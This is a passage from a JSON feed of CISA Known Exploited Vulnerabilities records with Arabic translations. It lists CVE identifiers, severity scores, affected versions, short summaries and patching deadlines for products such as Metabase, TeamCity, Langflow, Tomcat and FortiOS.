BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"cisco-secure-firewall"},{"id":"CVE-2026-68820","cvss":7,"vector":null,"cwe":"CWE-416","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-11T17:05:15Z","product":"Microsoft Windows Ancillary Function Driver for WinSock","affected":[["10.0.14393.0 – <10.0.14393.9418","10.0.14393.9418"],["10.0.17763.0 – <10.0.17763.9121","10.0.17763.9121"],["10.0.19044.0 – <10.0.19044.7663","10.0.19044.7663"],["10.0.19045.0 – <10.0.19045.7663","10.0.19045.7663"],["10.0.22631.0 – <10.0.22631.7517","10.0.22631.7517"],["10.0.26100.0 – <10.0.26100.9168","10.0.26100.9168"],["10.0.26200.0 – <10.0.26200.9168","10.0.26200.9168"],["10.0.28000.0 – <10.0.28000.2704","10.0.28000.2704"],["6.2.9200.0 – <6.2.9200.26280","6.2.9200.26280"],["6.3.9600.0 – <6.3.9600.23338","6.3.9600.23338"],["10.0.20348.0 – <10.0.20348.5499","10.0.20348.5499"],["10.0.26100.0 – <10.0.26100.33296","10.0.26100.33296"]],"title":{"en":"Microsoft Windows Ancillary Function Driver for WinSock Use-After-Free Vulnerability","ar":"ثغرة استخدام الذاكرة بعد تحريرها في برنامج تشغيل الوظائف الإضافية لـ WinSock في Microsoft Windows"},"summary":{"en":"Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.","ar":"يحتوي برنامج تشغيل الوظائف الإضافية لـ WinSock في Microsoft Windows على ثغرة استخدام الذاكرة بعد تحريرها والتي تسمح لمهاجم مفوض بتصعيد الصلاحيات محليًا."},"refs":[["https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-68820","patch"],["https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2026-68820","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-68820","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-68820","ref"]],"epss":0.0857,"kevAdded":"2026-08-11T00:00:00Z","kevDue":"2026-08-25T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"microsoft-windows"},{"id":"CVE-2026-72898","cvss":10,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-11T00:00:00Z","product":"Metabase Metabase","affected":[["x.58.0 – <x.58.24","x.58.24"],["x.59.0 – <x.59.21","x.59.21"],["x.60.0 – <x.60.17","x.60.17"],["x.61.0 – <x.61.11","x.61.11"],["x.62.0 – <x.62.9","x.62.9"],["x.63.0 – <x.63.5","x.63.5"]],"title":{"en":"Metabase SQL Injection Vulnerability","ar":"ثغرة حقن SQL في Metabase"},"summary":{"en":"Metabase contains a SQL Injection vulnerability that allows an unauthenticated remote attacker to inject arbitrary SQL into the Metabase application database, which can give them administrator access to the instance. From there, the attacker could change the application configuration, steal stored credentials for the connected databases, read any data accessible through those connections, and export data.","ar":"يحتوي Metabase على ثغرة حقن SQL تسمح لمهاجم عن بُعد دون مصادقة بحقن أوامر SQL عشوائية في قاعدة بيانات تطبيق Metabase، مما قد يمنحه صلاحيات المدير على النظام. ومن هناك، يمكن للمهاجم تغيير إعدادات التطبيق، أو سرقة بيانات الاعتماد المخزنة لقواعد البيانات المتصلة، أو قراءة أي بيانات يمكن الوصول إليها من خلال تلك الاتصالات، وتصدير البيانات."},"refs":[["https://www.metabase.com/blog/security-update","advisory"],["https://github.com/metabase/metabase/security/advisories/GHSA-vwf4-m7j8-wcjf","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-72898","advisory"],["https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-222-01.json","advisory"],["https://www.cve.org/CVERecord?id=CVE-2026-72898","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-72898","ref"]],"epss":0.9881,"kevAdded":"2026-08-11T00:00:00Z","kevDue":"2026-08-14T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات توجيه التشغيل الملزم CISA BOD 26-04 بشأن إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع إرشادات BOD 26-04 المعمول بها للخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"metabase"},{"id":"CVE-2026-8037","cvss":9.6,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":true,"status":"patched","published":"2026-08-07T00:00:00Z","product":"Progress LoadMaster","affected":[["V7.2.60.0 – <V7.2.63.2","V7.2.63.2"],["V7.2.54.12 – <V7.2.54.18","V7.2.54.18"]],"title":{"en":"Progress LoadMaster Command Injection Vulnerability","ar":"ثغرة حقن الأوامر في Progress LoadMaster"},"summary":{"en":"Progress LoadMaster contains a command injection vulnerability that allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints.","ar":"يحتوي Progress LoadMaster على ثغرة حقن أوامر تسمح لمهاجم دون مصادقة بتنفيذ أوامر عشوائية على جهاز LoadMaster عبر استغلال مدخلات غير معقمة في نقاط نهاية متعددة للأوامر."},"refs":[["https://community.progress.com/s/article/LoadMaster-Critical-Security-Bulletin-June-2026-CVE-2026-8037-CVE-2026-33691","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-8037","advisory"],["https://labs.watchtowr.com/enterprise-tech-in-shell-out-progress-kemp-loadmaster-uninitialized-heap-to-pre-auth-rce-cve-2026-8037/","advisory"],["https://www.esentire.com/security-advisories/progress-kemp-loadmaster-vulnerability-targeted-cve-2026-8037","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-8037","ref"]],"epss":0.9979,"kevAdded":"2026-08-07T00:00:00Z","kevDue":"2026-08-10T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"progress-loadmaster"},{"id":"CVE-2026-63077","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-05T00:00:00Z","product":"JetBrains TeamCity","affected":[],"title":{"en":"JetBrains TeamCity Deserialization of Untrusted Data Vulnerability","ar":"ثغرة إلغاء تسلسل البيانات غير الموثوقة في JetBrains TeamCity"},"summary":{"en":"JetBrains TeamCity contains a deserialization of untrusted data vulnerability that could allow unauthenticated remote code execution via the agent polling protocol.","ar":"يحتوي JetBrains TeamCity على ثغرة إلغاء تسلسل البيانات غير الموثوقة والتي قد تسمح بتنفيذ أوامر عن بُعد دون مصادقة عبر برتوكول استطلاع الوكيل (agent polling protocol)."},"refs":[["https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/","advisory"],["https://www.jetbrains.com/privacy-security/issues-fixed/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-63077","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-63077","ref"]],"epss":0.9356,"kevAdded":"2026-08-05T00:00:00Z","kevDue":"2026-08-08T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"jetbrains-teamcity"},{"id":"CVE-2026-18556","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-288","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-04T00:00:00Z","product":"N-able N-central","affected":[["0 – 2026.1",null]],"title":{"en":"N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability","ar":"ثغرة تجاوز المصادقة باستخدام مسار أو قناة بديلة في N-able N-central"},"summary":{"en":"N-able N-central contains an authentication bypass using an alternate path or channel that allows for authentication bypass.","ar":"يحتوي N-able N-central على ثغرة تجاوز للمصادقة باستخدام مسار أو قناة بديلة تسمح بتجاوز المصادقة."},"refs":[["https://uptime.n-able.com/","advisory"],["https://status.n-able.com/2026/08/02/n-central-2026-3-hotfix-1-mitigation-for-cve-2026-18577/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-18556","advisory"],["https://www.n-able.com/blog/n-central-security-update-august-2-2026","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-18556","ref"]],"epss":0.0788,"kevAdded":"2026-08-04T00:00:00Z","kevDue":"2026-08-07T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"n-able-n-central"},{"id":"CVE-2026-9198","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-08-04T00:00:00Z","product":"IBM Langflow","affected":[["1.0.0 – 1.10.0",null]],"title":{"en":"IBM Langflow Code Injection Vulnerability","ar":"ثغرة حقن الشيفرات في IBM Langflow"},"summary":{"en":"Langflow contains a code injection vulnerability that allows unauthenticated attackers to achieve full remote code execution on default Langflow deployments.","ar":"يحتوي Langflow على ثغرة حقن شيفرات تسمح للمهاجمين دون مصادقة بتحقيق تنفيذ كامل للأوامر عن بُعد على عمليات نشر Langflow الافتراضية."},"refs":[["https://www.ibm.com/support/pages/node/7278927","patch"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-9198","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-9198","ref"]],"epss":0.2866,"kevAdded":"2026-08-04T00:00:00Z","kevDue":"2026-08-07T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA المتمثلة في BOD 26-04 بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر (راجع الرابط في الملاحظات) ومتطلبات فرز الأدلة الجنائية لـ CISA (راجع الرابط في الملاحظات). اتبع توجيهات BOD 26-04 المطبقة على الخدمات السحابية أو أوقف استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات الخاصة بـ BOD 26-04.","machineTranslated":true,"productSlug":"langflow"},{"id":"CVE-2026-34486","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-311","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-04T00:00:00Z","product":"Apache Tomcat","affected":[["11.0.20",null],["10.1.53",null],["9.0.116",null]],"title":{"en":"Apache Tomcat Missing Encryption of Sensitive Data Vulnerability","ar":"ثغرة غياب تشفير البيانات الحساسة في Apache Tomcat"},"summary":{"en":"Apache Tomcat contains a missing encryption of sensitive data vulnerability that allows the bypass of the EncryptInterceptor. This vulnerability can be chained with CVE‑2025‑24813.","ar":"يحتوي Apache Tomcat على ثغرة غياب تشفير البيانات الحساسة التي تتيح تجاوز EncryptInterceptor. يمكن دمج هذه الثغرة مع CVE‑2025‑24813."},"refs":[["https://lists.apache.org/thread/9510k5p5zdvt9pkkgtyp85mvwxo2qrly","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-34486","advisory"],["https://socradar.io/blog/snowlight-government-chinese-campaign/","advisory"],["https://access.redhat.com/errata/RHSA-2026:39188","advisory"],["https://access.redhat.com/errata/RHSA-2026:38505","advisory"],["https://access.redhat.com/errata/RHSA-2026:36787","advisory"],["https://access.redhat.com/errata/RHSA-2026:36789","advisory"],["https://access.redhat.com/errata/RHSA-2026:36788","advisory"],["https://access.redhat.com/errata/RHSA-2026:36790","advisory"],["https://access.redhat.com/errata/RHSA-2026:37137","advisory"]],"epss":0.985,"kevAdded":"2026-08-04T00:00:00Z","kevDue":"2026-08-07T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"قم بتطبيق إجراءات التخفيف وفقًا لتعليمات المُصنِّع، مع ضمان الامتثال لإرشادات BOD 26-04 الصادرة عن CISA بشأن تحديد أولويات تحديثات الأمان استنادًا إلى المخاطر ومتطلبات فرز الأدلة الجنائية الخاصة بـ CISA. اتبع إرشادات BOD 26-04 المعمول بها لخدمات السحابة أو توقف عن استخدام المنتج في حال توفر إجراءات تخفيف. تتحمل الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"apache-tomcat"},{"id":"CVE-2026-18577","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:L/SA:L/E:A","cwe":"CWE-288","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-08-03T00:00:00Z","product":"N-able N-central","affected":[["0 – 2026.3",null]],"title":{"en":"N-able N-central Authentication Bypass Using an Alternate Path or Channel Vulnerability","ar":"ثغرة تجاوز المصادقة باستخدام مسار أو قناة بديلة في N-able N-central"},"summary":{"en":"N-able N-central contains an authentication bypass using an alternate path or channel allows for authentication bypass and account takeover in N-central. This vulnerability is the result of an incomplete patch for CVE-2026-18556.","ar":"يحتوي N-able N-central على ثغرة تجاوز للمصادقة باستخدام مسار أو قناة بديلة تسمح بتجاوز المصادقة والسيطرة على الحسابات في N-central. تنتج هذه الثغرة عن تصحيح غير مكتمل لـ CVE-2026-18556."},"refs":[["https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF1_Release_Notes.htm","advisory"],["https://status.n-able.com/2026/08/02/n-central-2026-3-hotfix-1-mitigation-for-cve-2026-18577/","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-18577","advisory"],["https://www.n-able.com/blog/n-central-security-update-august-2-2026","advisory"],["https://www.cve.org/CVERecord?id=CVE-2026-18556","ref"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-18577","ref"]],"epss":0.1462,"kevAdded":"2026-08-03T00:00:00Z","kevDue":"2026-08-06T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"n-able-n-central"},{"id":"CVE-2026-20316","cvss":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cwe":"CWE-259","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-29T16:22:08Z","product":"Cisco Secure Firewall Management Center (FMC)","affected":[["7.0.0",null],["7.0.0.1",null],["7.0.1",null],["7.0.1.1",null],["7.0.2",null],["7.2.0",null],["7.0.2.1",null],["7.0.3",null],["7.2.0.1",null],["7.0.4",null],["7.2.1",null],["7.0.5",null]],"title":{"en":"Cisco Secure Firewall Management Center Use of Hard-coded Password Vulnerability","ar":"ثغرة استخدام كلمة مرور مشفرة مسبقاً (Hard-coded) في Cisco Secure Firewall Management Center"},"summary":{"en":"Cisco Secure Firewall Management Center (FMC) formerly known as Firepower Management Center contains a use of hard-coded password vulnerability that could allow an unauthenticated, remote attacker to log in to an affected device using a low-privileged account to access sensitive data within the impacted systems.","ar":"يحتوي Cisco Secure Firewall Management Center (المعروف سابقاً بـ Firepower Management Center) على ثغرة استخدام كلمة مرور مشفرة مسبقاً والتي قد تسمح لمهاجم عن بُعد دون مصادقة بتسجيل الدخول إلى الجهاز المتأثر باستخدام حساب ذي صلاحيات منخفضة للوصول إلى البيانات الحساسة داخل الأنظمة المتضررة."},"refs":[["https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-static-cred-BET3Cjh","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-20316","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20316","ref"]],"epss":0.351,"kevAdded":"2026-07-29T00:00:00Z","kevDue":"2026-08-01T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":true,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"cisco-secure-firewall"},{"id":"CVE-2026-16812","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":true,"status":"patched","published":"2026-07-27T16:11:00Z","product":"Arista VeloCloud Orchestrator","affected":[["5.2.0 – <5.2.3.14","5.2.3.14"],["6.1.0 – <6.1.3.4","6.1.3.4"],["6.4.0 – <6.4.2.4","6.4.2.4"],["7.0.0 – <7.0.0.1","7.0.0.1"]],"title":{"en":"Arista VeloCloud Orchestrator On-Prem OS Command Injection Vulnerability","ar":"ثغرة حقن أوامر نظام التشغيل في Arista VeloCloud Orchestrator On-Prem"},"summary":{"en":"Arista VeloCloud Orchestrator On-Prem contains an OS command injection vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.","ar":"يحتوي Arista VeloCloud Orchestrator On-Prem على ثغرة حقن أوامر نظام التشغيل والتي قد تسمح لمهاجم عن بُعد بالوصول إلى وظائف داخلية ذات صلاحيات والتأثير على مضيف VCO. قد يؤدي الاستغلال الناجح إلى الإضرار بسرية وسلامة وتوافر المنسق (orchestrator) والبيانات التي يديرها."},"refs":[["https://www.arista.com/en/support/advisories-notices/security-advisory/24364-security-advisory-0144","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-prioritizing-security-updates-based-risk","advisory"],["https://www.cisa.gov/news-events/directives/bod-26-04-implementation-guidance-prioritizing-security-updates-based-risk","advisory"],["https://nvd.nist.gov/vuln/detail/CVE-2026-16812","advisory"],["https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-16812","ref"]],"epss":0.0176,"kevAdded":"2026-07-27T00:00:00Z","kevDue":"2026-07-30T00:00:00Z","kevAction":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomware":false,"kevActionAr":"طبق إجراءات التخفيف وفقًا لتعليمات المورد، مع ضمان الامتثال لتوجيهات CISA BOD 26-04 حول إعطاء الأولوية لتحديثات الأمان بناءً على المخاطر ومتطلبات فرز الأدلة الجنائية لـ CISA. اتبع توجيهات BOD 26-04 المعمول بها للخدمات السحابية أو توقف عن استخدام المنتج إذا كانت إجراءات التخفيف غير متوفرة. تقع على الجهات المعنية مسؤولية تقييم تعرض كل أصل للإنترنت وضمان الالتزام بإرشادات تطبيق التصحيحات BOD 26-04.","machineTranslated":true,"productSlug":"arista-velocloud-orchestrator"},{"id":"CVE-2025-68686","cvss":5.3,"vector":null,"cwe":"CWE-200","tags":[],"zero":false,"exploited":true,"status":"unknown","published":"2026-07-27T00:00:00Z","product":"Fortinet FortiOS","affected":[["7.6.0 – 7.6.1",null],["7.4.0 – 7.4.6",null],["7.2.0 – 7.2.13",null],["7.0.0 – 7.0.19",null],["6.4.0 – 6.4.16",null]],"title":{"en":"Fortinet FortiOS Exposure of Sensitive Information to an Unauthorized Actor Vulnerability","ar":"ثغرة كشف معلومات حساسة لجهة غير مصرح لها في Fortinet FortiOS"},"summary":{"en":"Fortinet FortiOS contains an exposure of sensitive information to an unauthorized actor vulnerability. This may allow a remote unauthenticated attacker to bypass the patch developed for the symbolic link persistency mechanism observed in some post-exploit cases, via crafted HTTP requests. An attacker would need first to have compromised the product via another vulnerability, at filesystem level.","ar":"يحتوي نظام Fortinet FortiOS على ثغرة تتمثل في كشف معلومات حساسة لجهة غير مصرح لها. قد يتيح ذلك لمهاجم عن بُعد دون مصادقة تجاوز التصحيح الذي تم تطويره لآلية استمرار الارتباط الرمزي الملاحظة في بعض حالات ما بعد الاستغلال، وذلك عبر طلبات HTTP مصممة خصيصًا. سيحتاج المهاجم أولاً إلى اختراق المنتج عبر ثغرة أخرى على مستوى نظام 